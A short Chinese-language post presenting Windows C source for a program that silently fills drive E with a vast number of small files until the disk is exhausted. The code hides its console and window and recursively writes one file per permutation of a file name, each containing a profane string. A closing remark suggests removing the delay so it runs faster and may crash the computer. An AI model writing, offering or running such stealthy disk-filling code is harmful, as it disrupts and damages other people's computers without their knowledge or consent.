作用在E盘生成无数小文件填满硬盘
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
char x
[50]="E:\\abcdefghijklmnopqrstuvwxyz.txt";
int f(int b
)
{
int i
,k
;
if(b
==28)
{
FILE
*fp
;
fp
=fopen(x
,"w");
fprintf(fp
,"yes fuck");
fclose(fp
);
Sleep(1000);
return 0;
}
for(i
=b
;i
<=28;i
++)
{
k
=x
[i
];x
[i
]=x
[b
];x
[b
]=k
;
f(b
+1);
k
=x
[i
];x
[i
]=x
[b
];x
[b
]=k
;
}
return 0;
}
int main()
{
ShowWindow(GetForegroundWindow(),0);
f(3);
return 0;
}
若删除sleep语句,则速度大大加快,可能导致电脑崩溃
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